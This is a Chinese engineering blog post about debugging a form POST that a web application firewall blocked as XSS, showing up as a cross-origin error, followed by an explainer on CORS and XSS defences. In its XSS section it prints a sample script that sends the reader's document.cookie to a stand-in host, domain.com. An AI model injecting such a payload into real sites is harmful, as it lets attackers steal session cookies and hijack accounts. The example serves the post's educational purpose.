写点什么

层层剖析一次 HTTP POST 请求事故

  • 2022 年 5 月 17 日
  • 本文字数:4380 字

    阅读完需:约 14 分钟

vivo 互联网服务器团队- Wei Ling


本文主要讲述的是如何根据公司网络架构和业务特点,锁定正常请求被误判为跨域的原因并解决。

一、问题描述


某一个业务后台在表单提交的时候,报跨域错误,具体如下图:


从图中可看出,报错原因为 HTTP 请求发送失败,由此,需先了解 HTTP 请求完整链路是什么。


HTTP 请求一般经过 3 个关卡,分别为 DNS、Nginx、Web 服务器,具体流程如下图:

  • 浏览器发送请求首先到达当地运营商 DNS 服务器,经过域名解析获取请求 IP 地址

  • 浏览器获取 IP 地址后,发送 HTTP 请求到达 Nginx,由 Nginx 反向代理到 Web 服务端

  • 最后,由 web 服务端返回相应的资源



了解 HTTP 基本请求链路后,结合问题,进行初步调查,发现此 form 表单是 application/json 格式的 post 提交。同时,此业务系统采用了前后端分离的架构方式(页面域名和后台服务域名不同 ), 并且在 Nginx 已经配置跨域解决方案。基于此,我们进行分析。

二、问题排查步骤


第一步:自测定位


既然是 form 表单,我们采用控制变量法,尝试对每一个字段进行修改后提交测试。在多次试验后,锁定表单中的 moduleExport 字段的变化会导致这个问题


考虑到 moduleExport 字段在业务上是一段 JS 代码,我们尝试对这段 JS 代码进行删除/修改,发现:当字段 moduleExport 中的这段 js 代码足够小的时候,问题消失。


基于上述发现,我们第一个猜想是:会不会是 HTTP 响应方的请求 body 大小限制导致了这个问题。


第二步:排查 HTTP 请求 body 限制


由于采用前后端分离,真实的请求是由 XXX.XXX.XXX 这个内网域名代表的服务进行响应的。而内网域名的响应链如下:


那么理论上,如果是 HTTP 请求 body 的限制,则可能发生在 LVS 层或者 Nginx 层或者 Tomcat。我们一步步排查:


首先排查 LVS 层。若 LVS 层故障,则会出现网关异常的问题,返回码会为 502。故此,通过抓包查看返回码,从下图可看出,返回码为 418,故而排除 LVS 异常的可能


其次排查 Nginx 层。Nginx 层的 HTTP 配置如下:


我们看到,在 Nginx 层,最大支持的 HTTP 请求 body 为 50m, 而我们这次事故的 form 请求表单,大约在 2M, 远小于限制, 所以:不是 Nginx 层 HTTP 请求 body 的限制造成的


然后排查 Tomcat 层,查看 Tomcat 配置:


我们发现, Tomcat 对于最大 post 请求的 size 限制是-1, 语义上表示为无限制,所以: 不是 Tomcat 层 HTTP 请求 body 的限制造成的。


综上,我们可以认为:此次问题和 HTTP 请求 body 的大小限制无关。


那么问题来了,如果不是这两层导致的,那么还会有别的因素或者别的网络层导致的吗?


第三步:集思广益


我们把相关的运维方拉到了一个群里面进行讨论,讨论分两个阶段


  • 【第一阶段】

运维方同学发现 Tomcat 是使用容器进行部署的,而容器和 nginx 层中间,存在一个容器自带的 nameserver 层——ingress。我们查看 ingress 的相关配置后,发现其对于 HTTP 请求 body 的大小限制为 3072m。排除是 ingress 的原因。


  • 【第二阶段】

安全方同学表示,公司为了防止 XSS 攻击,会对于所有后台请求,都进行 XSS 攻击的校验,如果校验不通过,会报跨域错误。


也就是说,理论上完整的网络层调用链如下图:


并且从 WAF 的工作机制和问题表象上来看,很有可能是 WAF 层的原因


第四步:WAF 排查


带着上述的猜测,我们重新抓包,尝试获取整个 HTTP 请求的 optrace 路径,看看是不是在 WAF 层被拦截了,抓包结果如下:



从抓包数据上来看,status 为 complete 代表前端请求发送成功,返回码为 418,而 optrace 中的 ip 地址经查询为 WAF 服务器 ip 地址


综上而言,form 表单中的 moduleExport 字段的变化很可能导致在 WAF 层被拦截。而出现问题的 moduleExport 字段内容如下:

module.exports = {    "labelWidth": 80,    "schema": {        "title": "XXX",        "type": "array",        "items":{            "type":"object",            "required":["key","value"],            "properties":{                "conf":{                    "title":"XXX",                    "type":"string"                },                "configs":{                    "title":"XXX",                    "type":"array",                    "items":{                        ......                            config: {                                ......                                validator: function(value, callback) {                                    // 至少填写一项                                    if(!value || !Object.keys(value).length) {                                        return callback(new Error('至少填写一项'))                                    }                                    callback()                               }                         }              ......      }
复制代码


我们进行一个字段一个字段排查后,锁定 module.exports.items.properties.configs.config.validator 字段会触发 WAF 的拦截机制:请求包过 WAF 模块时会对所有的攻击规则都会进行匹配,若属于高危风险规则,则触发拦截动作。

三、 问题分析


整个故障的原因,是业务请求的内容触发了 WAF 的 XSS 攻击检测。那么问题来了

  • 为什么需要 WAF

  • 什么是 XSS 攻击


在说明 XSS 之前,先得说清楚浏览器的跨域保护机制

3.1 跨域保护机制


现代浏览器都具备‘同源策略’,所谓同源策略,是指只有在地址的:

  1. 协议名 HTTPS,HTTP

  2. 域名

  3. 端口名


均一样的情况下,才允许访问相同的 cookie、localStorage 或是发送 Ajax 请求等等。若在不同源的情况下访问,就称为跨域。而在日常开发中,存在合理的跨域需求,比如此次问题故障对应的系统,由于采用了前后端分离,导致页面的域名和后台的域名必然不相同。那么如何合理跨域便成了问题。


常见的跨域解决方案有:IFRAME, JSONP, CORS 三种。


  • IFRAME 是在页面内部生成一个 IFRAME,并在 IFRAME 内部动态编写 JS 进行提交。用到此技术的有早期的 EXT 框架等等。

  • JSONP 是将请求序列化成一个 string,然后发起一个 JS 请求,带上 string。此做法需要后台支持,并且只能使用 GET 请求。在当前的业内已经废除此方案。

  • CORS 协议的应用比较广泛,并且此次出事故的系统是采用了 CORS 进行前后端分离。那么,什么是 CORS 协议呢?

3.2 CORS 协议

CORS(Cross-Origin Resource Sharing)跨源资源分享是解决浏览器跨域限制的 W3C 标准(官方文档),其核心思路是:在 HTTP 的请求头中设置相应的字段,浏览器在发现 HTTP 请求的相关字段被设置后,则会正常发起请求,后台则通过对这些字段的校验,决定此请求是否是合理的跨域请求。


CORS 协议需要服务器的支持(非服务器的业务进程), 比如 Tomcat 7 及其以后的版本等等。


对于开发者来说,CORS 通信与同源的 AJAX 通信没有差别,代码完全一样。浏览器一旦发现 AJAX 请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。


因此,实现 CORS 通信的关键是服务器(服务器端可判断,让哪些域可以请求)。只要服务器实现了 CORS 协议,就可以跨源通信。


虽然 CORS 解决了跨域问题,但引入了风险,如 XSS 攻击,因此在到达服务器之前需加一层 Web 应用防火墙(WAF),它的作用是:过滤所有请求,当发现请求是跨域时,会对整个请求的报文进行规则匹配,如果发现规则不匹配,则直接报错返回(类似于此次案例中的 418)。


整体流程如下:


不合理的跨域请求,我们一般认为是侵略性请求,这一类的请求,我们视为 XSS 攻击。那么广义而言的 XSS 攻击又是什么呢?

3.3 XSS 攻击机制


XSS 为跨站脚本攻击(Cross-Site Scripting)的缩写,可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。


例如有一个论坛网站,攻击者可以在上面发布以下内容:


<script>location.href="//domain.com/?c=" + document.cookiescript>


之后该内容可能会被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>


另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。


XSS 通过伪造虚假的输入表单骗取个人信息、显示伪造的文章或者图片等方式可窃取用户的 Cookie,盗用 Cookie 后就可冒充用户访问各种系统,危害极大。


下面给出 2 种 XSS 防御机制。

3.4 XSS 防御机制


XSS 防御机制主要包括以下两点:

3.4.1 设置 Cookie 为 HTTPOnly


设置了 HTTPOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。

3.4.2 过滤特殊字符


例如将 < 转义为 &lt; ,将 > 转义为 &gt;,从而避免 HTML 和 Jascript 代码的运行。


富文本编辑器允许用户输入 HTML 代码,就不能简单地将 < 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。


富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。


以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1> <p>123</p> <form>  <input type="text" name="q" value="test"></form> <pre>hello</pre> <script type="text/javascript">alert(/xss/);</script><h1>XSS Demo</h1> <p>123</p>
复制代码


转义后:


<h1>XSS Demo</h1> <p>123</p> &lt;form&gt;&lt;input type="text" name="q" value="test"&gt;&lt;/form&gt; <pre>hello</pre> &lt;script type="text/javascript"&gt;alert(/xss/);&lt;/script&gt;
复制代码

四、问题解决


在确定问题后,让安全团队修改 WAF 的拦截规则后,问题消失。


最后,对此问题进行总结。

五、问题总结


纵览整个排查过程,最耗费资源的工作集中于问题定位:到底是哪个模块出现了问题。而定位模块的最大难点在于:对于网络全链路的不了解(之前并不知晓 WAF 层的存在)。


那么,针对类似的问题,我们后面应该如何去加速问题的解决呢?我认为有两点需要注意:

  1. 采用控制变量法, 精准定位到问题的边界——什么时候能出现,什么时候不能出现。

  2. 熟悉每一个模块的存在,以及每一个模块的职责边界和风险可能。


下面来逐个解释:

5.1 确定问题边界


我们在一开始,确定是 form 表单导致的问题后,我们就逐个字段进行修改验证,最终确定其中某个字段导致的现象。在定位到具体的问题发生地后,由将之前锁定的字段进行拆解,逐步分析字段中每个属性,从而最终确定 XX 属性的值触犯了 WAF 的规则机制。


5.2 定位模块错误


在此案例中,跨域拒绝的故障主要是网络层,那么我们就必须要摸清楚整个业务服务的网络层次结构。然后对每一层的情况进行分析。

  • 在 Nginx 层,我们对配置文件进行分析

  • 在 ingress 层,我们对其中的配置规则进行分析

  • 在 Tomcat 层,我们对 server.xml 的属性进行分析


总结而言,我们必须熟悉每一个模块的职责,并且知晓如何判断每一个模块是否在整个链路中正常工作,只有基于此,我们才能将问题原因的范围逐步缩小,从而最后获得答案。

发布于: 刚刚阅读数: 3
用户头像

官方公众号:vivo互联网技术,ID:vivoVMIC 2020.07.10 加入

分享 vivo 互联网技术干货与沙龙活动,推荐最新行业动态与热门会议。

评论

发布
暂无评论
层层剖析一次 HTTP POST 请求事故_HTTP_vivo互联网技术_InfoQ写作社区